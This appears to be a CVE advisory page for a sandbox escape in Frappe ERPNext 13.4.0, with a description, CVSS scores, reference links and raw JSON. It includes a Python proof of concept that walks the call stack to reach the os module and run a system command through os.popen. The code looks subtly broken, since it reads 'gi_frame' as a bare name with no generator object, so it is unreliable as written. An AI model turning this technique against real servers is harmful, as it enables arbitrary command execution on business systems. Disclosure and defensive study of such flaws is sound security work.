Security Vulnerability Report
中文
CVE-2023-54345 CVSS 8.8 HIGH

CVE-2023-54345

Published: 2026-05-05 12:16:17
Last Modified: 2026-05-05 20:07:56

Description

Frappe Framework ERPNext 13.4.0 contains a sandbox escape vulnerability in RestrictedPython that allows authenticated users with System Manager role to execute arbitrary code by exploiting frame introspection. Attackers can create a server script via the /app/server-script endpoint and access the gi_frame attribute to traverse the call stack and invoke os.popen to execute system commands.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:frappe:erpnext:13.4.0:*:*:*:*:*:*:* - VULNERABLE
Frappe Framework ERPNext 13.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2023-54345: Sandbox Escape via Frame Introspection # Place this code in a Server Script in ERPNext def exploit(): # Access the current frame object using gi_frame current_frame = gi_frame # Traverse up the call stack to find a frame with 'os' module while current_frame: if 'os' in current_frame.f_globals: os_module = current_frame.f_globals['os'] # Execute arbitrary system command (e.g., 'id') return os_module.popen('id').read() # Move to the caller's frame current_frame = current_frame.f_back return "Exploit failed: os module not found in stack." # Trigger the exploit exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-54345", "sourceIdentifier": "[email protected]", "published": "2026-05-05T12:16:16.850", "lastModified": "2026-05-05T20:07:56.160", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Frappe Framework ERPNext 13.4.0 contains a sandbox escape vulnerability in RestrictedPython that allows authenticated users with System Manager role to execute arbitrary code by exploiting frame introspection. Attackers can create a server script via the /app/server-script endpoint and access the gi_frame attribute to traverse the call stack and invoke os.popen to execute system commands."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:erpnext:13.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "BD2F5F8C-EFED-4EFC-AC78-B8BE1C616EB6"}]}]}], "references": [{"url": "http://erpnext.org", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://frappeframework.com/docs/v13/user/en/desk/scripting/server-script", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gist.github.com/lebr0nli/c2fc617390451f0e5a4c31c87d8720b6", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://github.com/frappe/frappe/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/frappe/frappe/blob/v13.4.0/frappe/utils/safe_exec.py#L42", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://ur4ndom.dev/posts/2023-07-02-uiuctf-rattler-read/", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.exploit-db.com/exploits/51580", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/frappe-framework-erpnext-remote-code-execution", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}